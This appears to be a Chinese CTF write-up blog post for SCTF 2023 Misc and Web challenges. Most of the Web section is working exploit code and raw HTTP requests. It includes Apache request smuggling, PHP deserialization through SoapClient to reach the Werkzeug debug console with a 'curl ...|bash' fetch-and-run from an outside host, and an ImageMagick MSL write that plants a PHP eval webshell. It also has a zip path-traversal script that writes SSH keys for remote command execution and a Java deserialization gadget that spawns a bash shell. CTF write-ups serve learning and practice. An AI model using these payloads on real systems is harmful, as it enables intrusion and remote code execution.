本文最后更新于 418 天前,其中的信息可能已经有所发展或是发生改变。
Misc
signin
- 存在
flag文件
和flag文件夹
,改个名解压
Genshin Impact
- mqtt流量中有个BV.png
- BV1DW4y1R7qW
- 看一眼视频
- 换表base64
- 3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
- 197370563
- 米游社
- https://www.miyoushe.com/ys/accountCenter/postList?id=197370563
bittorrent
dnt.dat
为aria2的配置文件之一
- 根据文件结构,ipv4是会有一个字节的6,然后6个字节的ip+port
- https://aria2.github.io/manual/en/html/technical-notes.html#dht-routing-table-file-format
import socket
import libnum
f = open("dht.dat","rb").read()
fw = open("ip.txt","w")
pos = 56 + 8
while(pos < len(f)):
ip = f[pos:pos+4]
port = f[pos+4:pos+6]
pos += 56
fw.write(socket.inet_ntoa(ip) + ":" + str(libnum.s2n(port)) + "\n")
- 发现159.138.22.50:6969存在web服务
- trackers种子服务器路径一般都带上announce
- 密码为最后一次修改dht.dat的时间,直接爆破省事
- 得到
flag.torrent
- 对分块进行爆破
import hashlib
import string
c = ["284F3E527B475C0DCBE1A7AED94CE31539131545","E4AF700F9921ED71C190316CD5564F8CE1303F94","B4AA9BC1E62E19828A370C50A4CFF71BD9736BB4","AD2AF979ABD26A0A35CCA0218F32277D01B7F7D3","F9CCF51238CBEE2EE8282F28FF1A526A8A39D8E4","89B4EBDC6413BEC34138A3B63F23671932EA5696","9329C7181085B1D6484E4FBC826FB3C25CA25F32","AB4400A33C16525C50A2E6DDA8C05EACD5B3D7F0","386B00CD1573492BF3DD76DA57EB73759C7DE8E1","9DE01D0BC2F7B7440B99E96DAAF372F93E53B140"]
alphabet = string.printable
d = []
for i in range(10):
d.append("")
for i in alphabet:
print(i)
for j in alphabet:
for k in alphabet:
for h in alphabet:
str1 = i.encode() + j.encode() + k.encode() + h.encode()
des = hashlib.sha1(str1).hexdigest().upper()
if(des in c):
print(str1)
d[c.index(des)] = str1
print(d)
print(b"".join(d))
Web
ezcheckin
- Apache 2.4.55 走私漏洞
- https://github.com/dhmosfunk/CVE-2023-25690-POC/tree/main/lab
- 通过内网服务带出flag
/2023/a%20HTTP/1.1%0d%0aHost:%20a%0d%0a%0d%0aPOST%20/2022.php%3furl=jbnrz.com.cn:8000/
pypyp?
- php 获取原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
- 源代码中包含
session_start()
,将自动生成sess_xxxx
文件;不存在session_start()
时可以通过PHP_SESSION_UPLOAD_PROGRESS
强制session_start
无session_start
<?php
echo "test";
?>
有session_start
<?php
session_start();
echo "test";
?>
通过PHP_SESSION_UPLOAD_PROGRESS
强制session_start
,注意为POST
<?php
echo "test";
?>
- 回到本题,直接访问
http://115.239.215.75:8081/
Session not started
- 添加session
POST / HTTP/1.1
Host: 115.239.215.75:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=JBNRZ
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3wRkBuO1AXkzMQUZ
Connection: close
Content-Length: 393
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
rz
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";
?>
- 根据题目提示,关注
/app/app.py
;根据源代码,需要通过new $type($properties[0],$properties[1])
获取文件内容,已知类:SplFileObject
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): array
public ftell(): int|false
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): null
public getCsvControl(): array
public getFlags(): int
public getMaxLineLen(): int
public hasChildren(): false
public key(): int
public next(): void
public rewind(): void
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): string
public valid(): bool
/* 继承的方法 */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}
// example
<?php
$a = new SplFileObject("php://filter/read=convert.base64-encode/resource=index.php", "r");
echo $a;
?>
- 构建
session
<?php
$a = array(
"php://filter/read=convert.base64-encode/resource=/app/app.py",
"r",
);
$sess = array(
"type" => "SplFileObject",
"properties" => $a
);
echo serialize($sess);
// a:2:{s:4:"type";s:13:"SplFileObject";s:10:"properties";a:2:{i:0;s:60:"php://filter/read=convert.base64-encode/resource=/app/app.py";i:1;s:1:"r";}}
- 读取
/app/app.py
,注意格式,每个Content-Disposition
必须空一行才能传递正文
POST / HTTP/1.1
Host: 115.239.215.75:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=JBNRZ
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3wRkBuO1AXkzMQUZ
Connection: close
Content-Length: 393
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
rz
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
Content-Disposition: form-data; name="data"
a:2:{s:4:"type";s:13:"SplFileObject";s:10:"properties";a:2:{i:0;s:60:"php://filter/read=convert.base64-encode/resource=/app/app.py";i:1;s:1:"r";}}
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
- app.py
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World!'
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)
- flask mode = DEBUG,计算一下pin
- 通过原生类:
GlobIterator
获取werkzeug/debug/__init__.py
具体位置,方便计算pin
<?php
$a = new GlobIterator("/*");
echo $a->next();
- /usr/lib/python3.8/site-packages/werkzeug/debug/__init__.py
def get_machine_id() -> str | bytes | None:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> str | bytes | None:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg
try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: str | bytes
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")
if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")
return guid
except OSError:
pass
return None
_machine_id = _generate()
return _machine_id
def get_pin_and_cookie_name(
app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: str | None
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
- /etc/passwd
app:x:1001:1001::/home/app:/bin/ash
- MAC;/sys/class/net/eth0/address
str(int("02:42:ac:13:00:02".replace(":", ""), 16))
- MachineID;/proc/sys/kernel/random/boot_id + /proc/self/cgroup
349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
- 计算脚本
import hashlib
from itertools import chain
def get_pin_and_cookie_name():
rv = None
num = None
probably_public_bits = [
"app",
"flask.app",
"Flask",
"/usr/lib/python3.8/site-packages/flask/app.py",
]
private_bits = [str(int("02:42:ac:13:00:02".replace(":", ""), 16)), "349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687"]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv, cookie_name)
get_pin_and_cookie_name()
# 121-260-582 __wzdb2a60e2b19822632a67c
- 计算flask cookie
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
# Cookie: {cookie_name}={time()}|{hash_pin(pin)}
# hash_pin = 11b8517fb9fb
- 通过file_get_content获取Secret
<?php
$a=array("properties" => "/console");
echo serialize($a);
- 此时通过php原生类
SoapClient
构造请求,已知SoapClient在访问不存在方法时将自动调用__call()
,并发送请求,通过curl反弹shell- 修改
php.ini
:extension=soap
- 修改
<?php
$URL='http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__(%22os%22).popen(%22curl%20http://123.139.136.51:8000/|bash%22).read()&frm=0&s=DhOJxtvMXCtezvKtqaK9';
$COOKIE='__wzdb2a60e2b19822632a67c=1687319875|11b8517fb9fb';
$post_string = 'data=JBNRZ';
$headers = array(
'Cookie: '.$COOKIE
);
$properties = array(
'location' => $URL,
'user_agent' => '114^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
'uri' => "aaab"
);
$properties = new SoapClient(null, $properties);
$properties = (serialize($properties));
$properties = str_replace('^^',"\r\n",$properties);
$properties = str_replace('&','&',$properties);
$properties = urlencode(($properties));
$a = array(
"type" => "SoapClient",
"properties" => $properties
);
$ser = serialize($a);
echo $ser;
- 最后suid提权,
curl flie:///flag
curl file:///flag
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 30 100 30 0 0 2441k 0 --:--:-- --:--:-- --:--:-- 2441k
SCTF{i_have_n0_t1me!GGGGGGGGG}
太菜了,复现都花了4个多小时
- python 代替 bp 脚本
from io import StringIO
import requests
rs = requests.Session()
resp = rs.post(
"127.0.0.1:8080",
cookies={"PHPSESSID": "JBNRZ"},
data={
"data": """a:1:{s:10:"properties";s:8:"/console";}""",
"PHP_SESSION_UPLOAD_PROGRESS": "rz"
},
files={"rubbish": (StringIO("rubbish"))},
)
fumo_backdoor
- 参考
- https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
- https://github.com/ImageMagick/ImageMagick/blob/main/www/formats.html
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- 主要流程:通过session解析触发
__sleep()
,通过imageick扩展
进行读取文件与写文件操作 - 本地启动时改改
Dockerfile
,其中pecl install imageick
需要点儿科学;再处理一下index.php
增加一些调试信息 - 写入session
<?php
class fumo_backdoor {}
$a = new fumo_backdoor();
$a -> argv = "vid:msl:/tmp/php*";
$a -> class = "Imagick";
echo serialize($a);
?>
<?php
class fumo_backdoor {}
$a = new fumo_backdoor();
$a -> path = "/tmp/jbnrz" // 想要读取的文件位置
echo serialize($a);
from base64 import b64encode
a = b'P6\n9 9\n255\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<?php eval($_GET[1]);?>|O:13:"fumo_backdoor":1:{s:4:"path";s:10:"/tmp/jbnrz";}'
print(b64encode(a).decode())
POST /?cmd=unserialze&data=O:13:"fumo_backdoor":2:{s:4:"argv";s:17:"vid:msl:/tmp/php*";s:5:"class";s:7:"Imagick";} HTTP/1.1
Host: 10.233.2.11:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 708
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjoxOntzOjQ6InBhdGgiO3M6MTA6Ii90bXAvamJucnoiO30=" />
<write filename="/tmp/sess_JBNRZ" />
</image>
--------------------------c32aaddf3d8fd979--
- 读取flag,写入
/tmp/jbnrz
POST /?cmd=unserialze&data=O:13:"fumo_backdoor":2:{s:4:"argv";s:17:"vid:msl:/tmp/php*";s:5:"class";s:7:"Imagick";} HTTP/1.1
Host: 10.233.2.11:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=------------------------b2fa911beb0df7b1
Content-Length: 314
--------------------------b2fa911beb0df7b1
Content-Disposition: form-data; name="aa"; filename="aa"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="uyvy:/flag"/>
<write filename="/tmp/jbnrz"/>
</image>
--------------------------b2fa911beb0df7b1--
- 触发session反序列化,读取flag
GET /?cmd=unserialze&data=O:13:"fumo_backdoor":1:{s:4:"func";s:13:"session_start";} HTTP/1.1
Host: 10.233.2.11:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: PHPSESSID=JBNRZ
- flag
很不理解,本地的docker最后一步打不通,好在环境还没关
不会的Web
WriteUp from: https://blog.wm-team.cn/index.php/archives/38/
an4er_monitor
- 原型污染
- socketPath访问本地unix socket(高版本nodejs不行)
- http method设置为SET 执行
SET IsAdminSession HTTP/1.1
- 触发一次 check
- getflag
SERVER_ADDR="http://61.147.171.105:55252"
curl "${SERVER_ADDR}/api/server/import?urls.123=1.1.1.1"
curl "${SERVER_ADDR}/api/server/import?__proto__.socketPath=/run/redis/redis.sock&__proto__.setHost=&__proto__.method=SET&"
curl "${SERVER_ADDR}/api/server/check?hostname=1.1.1.1&port=undefined&path=IsAdminSession"
curl "${SERVER_ADDR}/api/server/getflag"
SycServer
- 反编译 或者 GIN_MODE=debug ./main运行得到路由列表
- /file-unarchiver 解压zip
- /readfile?file= 读文件
- /readir 列出/tmp目录
- /admin 对127.0.0.1:2221进行ssh访问
- /file-unarchiver 解压zip
- /readfile?file= 读文件
- /readir 列出/tmp目录
- /admin 对127.0.0.1:2221进行ssh访问
command="CMD" ssh-rsa XXXXX xxxxx
- /admin rce
- /flag只能root读取 /usr/bin/coreutils有suid 因此直接cat /flag就行
from makezip import makezip
import os,sys,requests
requests = requests.Session()
SERVER_ADDR = "http://159.138.131.31:8888"
def rce(cmd):
cmd = cmd + " > /home/vanzy/114 2>&1"
print(cmd)
requests.post(SERVER_ADDR + "/file-unarchiver", files={"file": ('aaa',makezip(cmd))})
requests.get(SERVER_ADDR + "/admin")
resp = requests.get(SERVER_ADDR + "/readfile?file=/home/vanzy/114")
print(resp.text)
while 1:
command = input("$ ")
rce(command)
import sys
import os
# 自行做一个ssh key 替换XXXX
def makezip(cmd):
aktpl = '''command="CMD" ssh-rsa XXXXXX XXX
'''
ak = aktpl.replace('CMD', cmd)
idrsatpl = '''-----BEGIN OPENSSH PRIVATE KEY-----
XXXXXX
-----END OPENSSH PRIVATE KEY-----
'''
idrsa = idrsatpl
os.system("mkdir /tmp/pack")
os.chdir("/tmp/pack")
os.system("rm -rf /tmp/pack/*")
with open("./BBAhomeAvanzyA.sshAid_rsa","w") as file:
file.write(idrsa)
with open("./BBAhomeAvanzyA.sshAauthorized_keys","w") as file:
file.write(ak)
os.system("chmod 700 *")
os.system("zip -u a.zip *")
with open("./a.zip","rb") as file:
data = file.read()
data = data.replace(b"BBAhomeAvanzyA.sshA",b"../home/vanzy/.ssh/")
with open("./a.zip","wb") as file:
file.write(data)
return data
#os.system("cp a.zip /mnt/e/events/sctf2023/web_SycServer/ziptest")
if __name__ == "__main__":
makezip(sys.argv[1])
hellojava
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,xxx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
import com.Sctf.bean.Hello;
import com.Sctf.bean.MyBean;
import com.Sctf.controller.NoObjectInputStream;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import scala.collection.immutable.LazyList;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
public class exp {
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NotFoundException, CannotCompileException {
TemplatesImpl obj = new TemplatesImpl();
byte[] bytes1 = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
byte[][] bytecode = new byte[][]{bytes1};
setFieldValue(obj, "_bytecodes",bytecode);
setFieldValue(obj, "_name", "Guoke");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_sdom", new ThreadLocal());
POJONode a = new POJONode(obj);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", a);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", a);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bytes);
objectOutputStream.writeObject(s);
byte[] output = Base64.getEncoder().encode(bytes.toByteArray());
InputStream inputStream = new ByteArrayInputStream(java.util.Base64.getDecoder().decode(output));
System.out.println(new String(output));
NoObjectInputStream NoInputStream = new NoObjectInputStream(inputStream);
Object obj1 = NoInputStream.readObject();
}
}